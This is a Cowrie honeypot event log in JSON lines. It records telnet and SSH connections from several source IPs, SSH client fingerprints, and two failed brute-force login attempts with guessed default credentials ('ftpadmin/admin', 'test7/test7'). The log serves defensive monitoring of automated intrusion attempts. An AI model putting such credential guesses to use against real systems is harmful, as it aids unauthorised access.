{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":53866,"dst_ip":"159.203.135.109","dst_port":23,"session":"34c3ae254461","protocol":"telnet","message":"New connection: 68.183.198.12:53866 (159.203.135.109:23) [session: 34c3ae254461]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:40.614817Z"}
{"eventid":"cowrie.session.closed","duration":72.36405396461487,"message":"Connection lost after 72 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:40.650093Z","src_ip":"64.227.101.30","session":"27acb168b1b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":43338,"dst_ip":"10.17.0.5","dst_port":23,"session":"f33e8a105d94","protocol":"telnet","message":"New connection: 64.227.101.30:43338 (10.17.0.5:23) [session: f33e8a105d94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:42.371872Z"}
{"eventid":"cowrie.session.closed","duration":35.213754415512085,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:42.962271Z","src_ip":"64.227.101.30","session":"a416db3fb93b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":37916,"dst_ip":"10.17.0.5","dst_port":23,"session":"c344e8168eb9","protocol":"telnet","message":"New connection: 64.227.101.30:37916 (10.17.0.5:23) [session: c344e8168eb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:43.232770Z"}
{"eventid":"cowrie.session.closed","duration":0.005283832550048828,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:43.237943Z","src_ip":"64.227.101.30","session":"c344e8168eb9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":34608,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc705a3d0d3a","protocol":"telnet","message":"New connection: 64.227.101.30:34608 (10.17.0.5:23) [session: cc705a3d0d3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:43.281054Z"}
{"eventid":"cowrie.session.closed","duration":0.005270481109619141,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:43.286172Z","src_ip":"64.227.101.30","session":"cc705a3d0d3a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":55596,"dst_ip":"159.203.135.109","dst_port":23,"session":"1994a276e5da","protocol":"telnet","message":"New connection: 68.183.198.12:55596 (159.203.135.109:23) [session: 1994a276e5da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:48.202857Z"}
{"eventid":"cowrie.session.closed","duration":42.959887981414795,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:48.872016Z","src_ip":"64.227.101.30","session":"4739bf4b4668","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"200.118.150.20","src_port":55472,"dst_ip":"159.203.135.109","dst_port":22,"session":"e4bbc5e0ab2e","protocol":"ssh","message":"New connection: 200.118.150.20:55472 (159.203.135.109:22) [session: e4bbc5e0ab2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:48.937506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:48.942290Z","src_ip":"200.118.150.20","session":"e4bbc5e0ab2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:49.036864Z","src_ip":"200.118.150.20","session":"e4bbc5e0ab2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.189.174","src_port":54906,"dst_ip":"10.17.0.5","dst_port":22,"session":"6bd56340a79d","protocol":"ssh","message":"New connection: 209.99.189.174:54906 (10.17.0.5:22) [session: 6bd56340a79d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:49.113347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:49.118012Z","src_ip":"209.99.189.174","session":"6bd56340a79d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:49.248678Z","src_ip":"209.99.189.174","session":"6bd56340a79d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpadmin","password":"admin","message":"login attempt [ftpadmin/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:49.434904Z","src_ip":"200.118.150.20","session":"e4bbc5e0ab2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.842289209365845,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:49.599910Z","src_ip":"220.134.77.159","session":"3cbaa9e0900b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"test7","password":"test7","message":"login attempt [test7/test7] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:49.808037Z","src_ip":"209.99.189.174","session":"6bd56340a79d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:50.533141Z","src_ip":"200.118.150.20","session":"e4bbc5e0ab2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:50.941560Z","src_ip":"209.99.189.174","session":"6bd56340a79d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":50440,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3702f76c20d","protocol":"telnet","message":"New connection: 64.227.101.30:50440 (10.17.0.5:23) [session: d3702f76c20d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:53.953690Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":56666,"dst_ip":"159.203.135.109","dst_port":23,"session":"104896481f42","protocol":"telnet","message":"New connection: 68.183.198.12:56666 (159.203.135.109:23) [session: 104896481f42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:54.389369Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":35514,"dst_ip":"159.203.135.109","dst_port":23,"session":"6457f0195b14","protocol":"telnet","message":"New connection: 161.97.105.174:35514 (159.203.135.109:23) [session: 6457f0195b14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:55.704934Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":51024,"dst_ip":"10.17.0.5","dst_port":23,"session":"40011a3aba3d","protocol":"telnet","message":"New connection: 64.227.101.30:51024 (10.17.0.5:23) [session: 40011a3aba3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:55.996289Z"}
{"eventid":"cowrie.session.closed","duration":36.09693694114685,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:57.119070Z","src_ip":"64.227.101.30","session":"2abd2ab58c7b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":19.949292421340942,"message":"Connection lost after 19 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:57:02.320853Z","src_ip":"64.227.101.30","session":"f33e8a105d94","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":53394,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c309f3c5f5c","protocol":"telnet","message":"New connection: 64.227.101.30:53394 (10.17.0.5:23) [session: 1c309f3c5f5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:57:03.651957Z"}
{"eventid":"cowrie.session.closed","duration":40.715409994125366,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:57:03.710141Z","src_ip":"64.227.101.30","session":"1526d5930843","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00309038162231,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:57:05.154393Z","src_ip":"64.227.101.30","session":"99113830ac48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.81093621253967,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:57:05.611317Z","src_ip":"68.183.198.12","session":"a5d72c9d8dda","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":74.43749046325684,"message":"Connection lost after 74 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:57:05.737915Z","src_ip":"64.227.101.30","session":"8f31e9783554","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":61.93631911277771,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:57:08.844350Z","src_ip":"64.227.101.30","session":"70818e5d7b8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":58644,"dst_ip":"159.203.135.109","dst_port":23,"session":"c81a725b2577","protocol":"telnet","message":"New connection: 68.183.198.12:58644 (159.203.135.109:23) [session: c81a725b2577]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:57:10.069079Z"}
{"eventid":"cowrie.session.closed","duration":43.69294023513794,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:57:12.721077Z","src_ip":"68.183.198.12","session":"94662ab39c80","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.18035435676575,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:57:13.209167Z","src_ip":"68.183.198.12","session":"37f76fd2d79b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.24291729927063,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:57:14.193506Z","src_ip":"68.183.198.12","session":"6fe2b297a8f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":55716,"dst_ip":"159.203.135.109","dst_port":23,"session":"74c8e6d3b36b","protocol":"telnet","message":"New connection: 161.97.105.174:55716 (159.203.135.109:23) [session: 74c8e6d3b36b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:57:15.022156Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":52134,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8ca68ab91cc","protocol":"telnet","message":"New connection: 64.227.101.30:52134 (10.17.0.5:23) [session: e8ca68ab91cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:57:15.395838Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":56768,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2afe908efe8","protocol":"telnet","message":"New connection: 64.227.101.30:56768 (10.17.0.5:23) [session: a2afe908efe8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:57:15.401979Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":57114,"dst_ip":"10.17.0.5","dst_port":23,"session":"351cfacb56cb","protocol":"telnet","message":"New connection: 64.227.101.30:57114 (10.17.0.5:23) [session: 351cfacb56cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:57:15.586226Z"}
{"eventid":"cowrie.session.closed","duration":42.44599652290344,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:57:23.060672Z","src_ip":"68.183.198.12","session":"34c3ae254461","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":58520,"dst_ip":"10.17.0.5","dst_port":23,"session":"14125f3f2b82","protocol":"telnet","message":"New connection: 64.227.101.30:58520 (10.17.0.5:23) [session: 14125f3f2b82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:57:23.775907Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":58860,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c18f48e0119","protocol":"telnet","message":"New connection: 64.227.101.30:58860 (10.17.0.5:23) [session: 2c18f48e0119]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:57:23.783022Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":53418,"dst_ip":"159.203.135.109","dst_port":23,"session":"8bb5bb569276","protocol":"telnet","message":"New connection: 161.97.105.174:53418 (159.203.135.109:23) [session: 8bb5bb569276]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:57:26.456896Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":33062,"dst_ip":"10.17.0.5","dst_port":23,"session":"56b804c8681c","protocol":"telnet","message":"New connection: 64.227.101.30:33062 (10.17.0.5:23) [session: 56b804c8681c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:57:27.350176Z"}
{"eventid":"cowrie.session.closed","duration":102.25229263305664,"message":"Connection lost after 102 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:57:27.632752Z","src_ip":"64.227.101.30","session":"b36b92111750","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.36519646644592,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:57:29.318809Z","src_ip":"64.227.101.30","session":"d3702f76c20d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.7494637966156,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:57:31.952212Z","src_ip":"68.183.198.12","session":"1994a276e5da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":33656,"dst_ip":"10.17.0.5","dst_port":23,"session":"46c26757bad5","protocol":"telnet","message":"New connection: 64.227.101.30:33656 (10.17.0.5:23) [session: 46c26757bad5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:57:31.956964Z"}
{"eventid":"cowrie.session.closed","duration":38.30466318130493,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:57:34.009473Z","src_ip":"161.97.105.174","session":"6457f0195b14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":18.965502977371216,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:57:34.361053Z","src_ip":"64.227.101.30","session":"e8ca68ab91cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":35826,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f822cf9182c","protocol":"telnet","message":"New connection: 64.227.101.30:35826 (10.17.0.5:23) [session: 8f822cf9182c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:57:35.520266Z"}
{"eventid":"cowrie.session.closed","duration":41.285802125930786,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:57:37.281955Z","src_ip":"64.227.101.30","session":"40011a3aba3d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.10315489768982,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:57:38.492424Z","src_ip":"68.183.198.12","session":"104896481f42","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":37606,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e7369b9a4c4","protocol":"telnet","message":"New connection: 64.227.101.30:37606 (10.17.0.5:23) [session: 4e7369b9a4c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:57:38.916533Z"}
{"eventid":"cowrie.session.closed","duration":35.65009570121765,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:57:39.301948Z","src_ip":"64.227.101.30","session":"1c309f3c5f5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":37860,"dst_ip":"10.17.0.5","dst_port":23,"session":"908a8812a131","protocol":"telnet","message":"New connection: 64.227.101.30:37860 (10.17.0.5:23) [session: 908a8812a131]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:57:40.578864Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":37580,"dst_ip":"10.17.0.5","dst_port":23,"session":"19e8acaa1c13","protocol":"telnet","message":"New connection: 64.227.101.30:37580 (10.17.0.5:23) [session: 19e8acaa1c13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:57:40.899810Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":39890,"dst_ip":"10.17.0.5","dst_port":23,"session":"73d5411cdb22","protocol":"telnet","message":"New connection: 64.227.101.30:39890 (10.17.0.5:23) [session: 73d5411cdb22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:57:44.416979Z"}
{"eventid":"cowrie.session.closed","duration":32.04130792617798,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:57:47.063361Z","src_ip":"161.97.105.174","session":"74c8e6d3b36b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":40984,"dst_ip":"10.17.0.5","dst_port":23,"session":"17e67f48ef0b","protocol":"telnet","message":"New connection: 64.227.101.30:40984 (10.17.0.5:23) [session: 17e67f48ef0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:57:47.944329Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":41312,"dst_ip":"10.17.0.5","dst_port":23,"session":"01ef01a5d826","protocol":"telnet","message":"New connection: 64.227.101.30:41312 (10.17.0.5:23) [session: 01ef01a5d826]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:57:48.624601Z"}
{"eventid":"cowrie.session.closed","duration":39.882118463516235,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:57:49.951111Z","src_ip":"68.183.198.12","session":"c81a725b2577","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":43166,"dst_ip":"10.17.0.5","dst_port":23,"session":"615d0ae51af7","protocol":"telnet","message":"New connection: 64.227.101.30:43166 (10.17.0.5:23) [session: 615d0ae51af7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:57:51.582115Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":42370,"dst_ip":"10.17.0.5","dst_port":23,"session":"599b2b430456","protocol":"telnet","message":"New connection: 64.227.101.30:42370 (10.17.0.5:23) [session: 599b2b430456]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:57:53.884885Z"}
{"eventid":"cowrie.session.closed","duration":38.50009298324585,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:57:53.901928Z","src_ip":"64.227.101.30","session":"a2afe908efe8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":43956,"dst_ip":"10.17.0.5","dst_port":23,"session":"b84c2ee88785","protocol":"telnet","message":"New connection: 64.227.101.30:43956 (10.17.0.5:23) [session: b84c2ee88785]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:57:54.546786Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":44024,"dst_ip":"10.17.0.5","dst_port":23,"session":"daafaca402ba","protocol":"telnet","message":"New connection: 64.227.101.30:44024 (10.17.0.5:23) [session: daafaca402ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:57:54.728733Z"}
{"eventid":"cowrie.session.closed","duration":39.582446813583374,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:57:55.168566Z","src_ip":"64.227.101.30","session":"351cfacb56cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":45212,"dst_ip":"159.203.135.109","dst_port":23,"session":"125cced01a69","protocol":"telnet","message":"New connection: 161.97.105.174:45212 (159.203.135.109:23) [session: 125cced01a69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:57:56.714766Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":39298,"dst_ip":"159.203.135.109","dst_port":23,"session":"f10a08bd1282","protocol":"telnet","message":"New connection: 68.183.198.12:39298 (159.203.135.109:23) [session: f10a08bd1282]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:57:56.983127Z"}
